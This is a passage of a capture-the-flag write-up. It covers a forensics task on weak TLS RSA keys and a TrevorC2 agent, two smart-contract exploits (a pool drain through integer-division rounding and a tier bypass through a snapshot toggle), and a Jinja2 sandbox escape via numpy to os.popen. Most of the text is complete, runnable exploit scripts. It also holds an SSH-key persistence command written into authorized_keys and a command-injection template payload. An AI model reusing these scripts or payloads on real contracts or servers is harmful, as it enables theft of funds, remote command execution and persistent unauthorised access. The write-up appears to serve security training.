Digging deeper, I found suspicious TLS traffic on port 4433. I extracted the Server Certificate and found that the RSA key was weak and factorizable. I factored the modulus to recover the Private Key and decrypted the TLS stream.
Inside the decrypted stream, I found a downloaded python agent a.py. It was heavily obfuscated with 32 layers of zlib/base64. After deobfuscating it, I found the TrevorC2 cipher key: aa34042ac9c17b459b93c0d49c7124ea.
Command Recovery
Using the recovered key, I decrypted the C2 commands, which were hidden in HTML comments. The final flag was revealed in a persistence command found in the traffic.
from pwn import *
answers = ["192.168.56.104", "192.168.56.103","nmap", "CVE-2025-55182", "echo 123", "TrevorC2", "aa34042ac9c17b459b93c0d49c7124ea", "/etc/passwd", "echo 'ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIP4L46b5SCsXlizakO+iXIr2pjQ48dryUiX1tCGbzEUZ kali@kali' > /home/daffainfo/.ssh/authorized_keys", "T1098.004"]
HOST = 'challenges.1pc.tf'
PORT = 27130
p = remote(HOST, PORT)
print(p.recvuntil(b"Your Answer: ").decode())
for answer in answers:
try:
p.sendline(answer.encode())
print(p.recvuntil(b"Your Answer: ").decode())
except EOFError:
print(p.recvall().decode())
break

Final Flag
C2C{r34C725h3Ll_f0r_7H3_W1n_8995bba8e58d}
Blockchain
Nexus
The Challenge
- Category: Blockchain
- Goal: Drain the contract.
Finding the Bug
I analyzed the smart contract and found an Integer Division Error. The essenceTocrystal function calculates (amount * totalCrystals) / amplitude().
I realized that by manipulating the amplitude (denominator) to be extremely large, I could force the result to round down to 0. This allowed me to break the Setup contract’s deposit logic, yielding 0 crystals for them and effectively diluting the pool for my benefit.
import os
import json
from web3 import Web3
RPC_URL = "http://challenges.1pc.tf:39571/4c101c17-5700-41b5-9c2d-782baf23b00a"
PLAYER_KEY = "e34f6980caf508f141d3dc16b34ada74506d7f2861c3ad1835b70d30500ec17c"
SETUP_ADDR = "0x5C45B09cf92313e905305542CB01F6Ae965E049b"
WALLET_ADDR = "0x0360344f9b2B6D33Bc3F27Bc0B96B6c9a90c375F"
# Minimal ABIs
SETUP_ABI = [
{"inputs":[],"name":"nexus","outputs":[{"internalType":"contract CrystalNexus","name":"","type":"address"}],"stateMutability":"view","type":"function"},
{"inputs":[],"name":"essence","outputs":[{"internalType":"contract Essence","name":"","type":"address"}],"stateMutability":"view","type":"function"},
{"inputs":[],"name":"conductRituals","outputs":[],"stateMutability":"nonpayable","type":"function"},
{"inputs":[],"name":"isSolved","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"}
]
NEXUS_ABI = [
{"inputs":[{"internalType":"uint256","name":"essenceAmount","type":"uint256"}],"name":"attune","outputs":[{"internalType":"uint256","name":"crystals","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"internalType":"uint256","name":"crystalAmount","type":"uint256"},{"internalType":"address","name":"recipient","type":"address"}],"name":"dissolve","outputs":[{"internalType":"uint256","name":"essenceOut","type":"uint256"}],"stateMutability":"nonpayable","type":"function"},
{"inputs":[],"name":"totalCrystals","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"crystalBalance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},
{"inputs":[],"name":"amplitude","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"}
]
ESSENCE_ABI = [
{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},
{"inputs":[{"internalType":"address","name":"","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},
{"inputs":[{"internalType":"address","name":"to","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"}
]
def main():
w3 = Web3(Web3.HTTPProvider(RPC_URL))
if not w3.is_connected():
print("Failed to connect to RPC")
return
print(f"Connected to {RPC_URL}")
account = w3.eth.account.from_key(PLAYER_KEY)
print(f"Player Address: {account.address}")
setup = w3.eth.contract(address=SETUP_ADDR, abi=SETUP_ABI)
nexus_addr = setup.functions.nexus().call()
essence_addr = setup.functions.essence().call()
nexus = w3.eth.contract(address=nexus_addr, abi=NEXUS_ABI)
essence = w3.eth.contract(address=essence_addr, abi=ESSENCE_ABI)
print(f"Nexus: {nexus_addr}")
print(f"Essence: {essence_addr}")
# Step 0: Approve Essence for Nexus
print("Approving Nexus to spend Essence...")
nonce = w3.eth.get_transaction_count(account.address)
tx = essence.functions.approve(nexus_addr, 2**256 - 1).build_transaction({
'from': account.address,
'nonce': nonce,
'gas': 100000,
'gasPrice': w3.eth.gas_price
})
signed_tx = w3.eth.account.sign_transaction(tx, PLAYER_KEY)
tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
w3.eth.wait_for_transaction_receipt(tx_hash)
print("Approved.")
nonce += 1
# Step 1: Attune 1 wei
print("Attuning 1 wei...")
tx = nexus.functions.attune(1).build_transaction({
'from': account.address,
'nonce': nonce,
'gas': 200000,
'gasPrice': w3.eth.gas_price
})
signed_tx = w3.eth.account.sign_transaction(tx, PLAYER_KEY)
tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
w3.eth.wait_for_transaction_receipt(tx_hash)
print("Attuned 1 wei.")
nonce += 1
# Check state
total = nexus.functions.totalCrystals().call()
print(f"Total Crystals: {total}")
# Step 1.5: Transfer REMAINING ether to Nexus to spike Amplitude
# This ensures Setup gets 0 crystals when it attunes.
bal = essence.functions.balanceOf(account.address).call()
print(f"Transferring {bal} wei to Nexus...")
tx = essence.functions.transfer(nexus_addr, bal).build_transaction({
'from': account.address,
'nonce': nonce,
'gas': 200000,
'gasPrice': w3.eth.gas_price
})
signed_tx = w3.eth.account.sign_transaction(tx, PLAYER_KEY)
tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
w3.eth.wait_for_transaction_receipt(tx_hash)
print("Transferred essence.")
nonce += 1
# Verify Amplitude
amp = nexus.functions.amplitude().call()
print(f"Current Amplitude: {amp}")
# Step 2: Call conductRituals
print("Calling conductRituals on Setup...")
tx = setup.functions.conductRituals().build_transaction({
'from': account.address,
'nonce': nonce,
'gas': 500000,
'gasPrice': w3.eth.gas_price
})
signed_tx = w3.eth.account.sign_transaction(tx, PLAYER_KEY)
tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
w3.eth.wait_for_transaction_receipt(tx_hash)
print("Rituals conducted.")
nonce += 1
# Check state again
total = nexus.functions.totalCrystals().call()
print(f"Total Crystals after rituals: {total}")
# Setup should have failed to get crystals if exploit worked
# Step 3: Dissolve our 1 crystal
# We should have 1 crystal which owns the ENTIRE pot
my_crystals = nexus.functions.crystalBalance(account.address).call()
print(f"My Crystals: {my_crystals}")
if my_crystals > 0:
print(f"Dissolving {my_crystals} crystals (Round 1)...")
tx = nexus.functions.dissolve(my_crystals, account.address).build_transaction({
'from': account.address,
'nonce': nonce,
'gas': 200000,
'gasPrice': w3.eth.gas_price
})
signed_tx = w3.eth.account.sign_transaction(tx, PLAYER_KEY)
tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
w3.eth.wait_for_transaction_receipt(tx_hash)
print("Dissolved Round 1.")
nonce += 1
# Check state
total = nexus.functions.totalCrystals().call()
amp = nexus.functions.amplitude().call()
print(f"Total Crystals: {total}")
print(f"Amplitude (Leftover Friction): {w3.from_wei(amp, 'ether')}")
# Step 4: Re-enter to claim friction
# Total crystals is 0, so we can buy in 1:1
print("Attuning 1 wei (Round 2)...")
tx = nexus.functions.attune(1).build_transaction({
'from': account.address,
'nonce': nonce,
'gas': 200000,
'gasPrice': w3.eth.gas_price
})
signed_tx = w3.eth.account.sign_transaction(tx, PLAYER_KEY)
tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
w3.eth.wait_for_transaction_receipt(tx_hash)
print("Attuned 1 wei.")
nonce += 1
# Step 5: Dissolve again
my_crystals = nexus.functions.crystalBalance(account.address).call()
if my_crystals > 0:
print(f"Dissolving {my_crystals} crystals (Round 2)...")
tx = nexus.functions.dissolve(my_crystals, account.address).build_transaction({
'from': account.address,
'nonce': nonce,
'gas': 200000,
'gasPrice': w3.eth.gas_price
})
signed_tx = w3.eth.account.sign_transaction(tx, PLAYER_KEY)
tx_hash = w3.eth.send_raw_transaction(signed_tx.raw_transaction)
w3.eth.wait_for_transaction_receipt(tx_hash)
print("Dissolved Round 2.")
nonce += 1
# Verify Solved
is_solved = setup.functions.isSolved().call()
final_balance = essence.functions.balanceOf(account.address).call()
print(f"Final Essence Balance: {w3.from_wei(final_balance, 'ether')}")
print(f"isSolved: {is_solved}")
if __name__ == "__main__":
main()

Final Flag
C2C{the_essence_of_nexus_is_donation_hahahaha}
TGE
The Challenge
- Category: Blockchain
- Goal: Bypass snapshot logic to upgrade token tier.
Finding the Bug
I discovered a Logical Flaw in the setTgePeriod function, which allows a user to toggle the TGE state.
My exploits strategy was to disable the TGE (false), which triggers a “snapshot” while my balance was still 0. Then, I would re-enable it, allowing me to mint tokens after the snapshot had supposedly been taken. The upgrade check compares the current balance against the (now empty) snapshot, allowing me to bypass the requirement and upgrade.
import os
import sys
from web3 import Web3
from web3.middleware import geth_poa_middleware
# Configuration
RPC_URL = "http://challenges.1pc.tf:38200/8175c8a6-4a7f-4ed6-bb1b-0641a302fcb0"
PRIVATE_KEY = "f391a4d7b0ce4a6e0d7e5b6dfba561f51c54468137bd92c495c5bb0ab4f5779e"
SETUP_ADDRESS = "0xBfD28Cc60752eb40DaD204f05A8375f74136F6CF"
PLAYER_ADDRESS = "0x051856F4c5536855298aD692567dA74Ab2Bb1fa6"
# Minimal ABIs
SETUP_ABI = [
{"inputs": [], "name": "tge", "outputs": [{"internalType": "contract TGE", "name": "", "type": "address"}], "stateMutability": "view", "type": "function"},
{"inputs": [], "name": "token", "outputs": [{"internalType": "contract Token", "name": "", "type": "address"}], "stateMutability": "view", "type": "function"},
{"inputs": [{"internalType": "bool", "name": "_tge", "type": "bool"}], "name": "enableTge", "outputs": [], "stateMutability": "nonpayable", "type": "function"},
{"inputs": [], "name": "isSolved", "outputs": [{"internalType": "bool", "name": "", "type": "bool"}], "stateMutability": "view", "type": "function"}
]
TGE_ABI = [
{"inputs": [], "name": "buy", "outputs": [], "stateMutability": "nonpayable", "type": "function"},
{"inputs": [{"internalType": "uint256", "name": "tier", "type": "uint256"}], "name": "upgrade", "outputs": [], "stateMutability": "nonpayable", "type": "function"},
{"inputs": [], "name": "owner", "outputs": [{"internalType": "address", "name": "", "type": "address"}], "stateMutability": "view", "type": "function"}
]
TOKEN_ABI = [
{"inputs": [{"internalType": "address", "name": "spender", "type": "address"}, {"internalType": "uint256", "name": "amount", "type": "uint256"}], "name": "approve", "outputs": [{"internalType": "bool", "name": "", "type": "bool"}], "stateMutability": "nonpayable", "type": "function"}
]
def main():
w3 = Web3(Web3.HTTPProvider(RPC_URL))
w3.middleware_onion.inject(geth_poa_middleware, layer=0)
if not w3.is_connected():
print("Failed to connect to RPC")
return
account = w3.eth.account.from_key(PRIVATE_KEY)
print(f"Connected as {account.address}")
setup_contract = w3.eth.contract(address=SETUP_ADDRESS, abi=SETUP_ABI)
# Get contracts
tge_addr = setup_contract.functions.tge().call()
token_addr = setup_contract.functions.token().call()
print(f"TGE Address: {tge_addr}")
print(f"Token Address: {token_addr}")
tge_contract = w3.eth.contract(address=tge_addr, abi=TGE_ABI)
token_contract = w3.eth.contract(address=token_addr, abi=TOKEN_ABI)
def send_tx(func):
tx = func.build_transaction({
'from': account.address,
'nonce': w3.eth.get_transaction_count(account.address),
'gas': 2000000,
'gasPrice': w3.eth.gas_price
})
signed_tx = w3.eth.account.sign_transaction(tx, private_key=PRIVATE_KEY)
tx_hash = w3.eth.send_raw_transaction(signed_tx.rawTransaction)
receipt = w3.eth.wait_for_transaction_receipt(tx_hash)
if receipt.status == 1:
print(f"Transaction successful: {func.fn_name}")
else:
print(f"Transaction failed: {func.fn_name}")
sys.exit(1)
# Step 1: Approve TGE to spend tokens (15 tokens required for Tier 1)
print("Approving tokens...")
send_tx(token_contract.functions.approve(tge_addr, 15))
# Step 2: Buy Tier 1
print("Buying Tier 1...")
send_tx(tge_contract.functions.buy())
# Step 3: Disable TGE to trigger snapshot
# This sets isTgePeriod=false, but first sets tgeActivated=true and snapshots supply (TIER_2 supply is 0)
print("Disabling TGE to snapshot supply...")
send_tx(setup_contract.functions.enableTge(False))
# Step 4: Re-enable TGE
print("Re-enabling TGE...")
send_tx(setup_contract.functions.enableTge(True))
# Step 5: Upgrade to Tier 2
# Requirement: preTGEBalance[msg.sender][2] > preTGESupply[2] (which is 0)
# _mint updates preTGEBalance if isTgePeriod=true
print("Upgrading to Tier 2...")
send_tx(tge_contract.functions.upgrade(2))
# Step 6: Upgrade to Tier 3
# Requirement: preTGEBalance[msg.sender][3] > preTGESupply[3] (which is 0)
print("Upgrading to Tier 3...")
send_tx(tge_contract.functions.upgrade(3))
# Verification
is_solved = setup_contract.functions.isSolved().call()
print(f"Is Solved: {is_solved}")
if __name__ == "__main__":
main()

Final Flag
C2C{just_a_warmup_from_someone_who_barely_warms_up}
Misc
Jin
The Challenge
- Category: Misc
- Goal: Escape the Jinja2 sandbox.
Finding the Bug
The sandbox blocked typical keywords but I noticed it exposed numpy and allowed string concatenation via ~.
My exploitation strategy involved constructing malicious strings (like /fix help) piece-by-piece. I used the string representations of numpy objects (e.g., numpy.fix, numpy.typing) to get the characters I needed, and then concatenated them to execute a command that read the flag.
# pwntool solving app.py simple
from pwn import *
HOST = 'challenges.1pc.tf'
PORT = 35884
p = remote(HOST, PORT)
p.recvuntil(b'>>> ')
content = b"""{%set x= numpy.fix~numpy.typing~dict(help=1)%}{{x}}"""
p.sendline(content)
result = p.recvline().decode()
print(result)
p = remote(HOST, PORT)
p.recvuntil(b'>>> ')
payload = f"x[{result.index('/')}]~x[{result.index('fix ')}:{result.index('fix ')+4}]~x[{result.index('help')}:{result.index('help')+4}]"
content = b"{%set x= numpy.fix~numpy.typing~dict(help=1)%}{{numpy.f2py.os.popen("+payload.encode()+b").read()}}"
print(content)
p.sendline(content)
print(p.recvline().decode())

Final Flag
C2C{damnnn_i_love_numpy_6447e4b64e5e}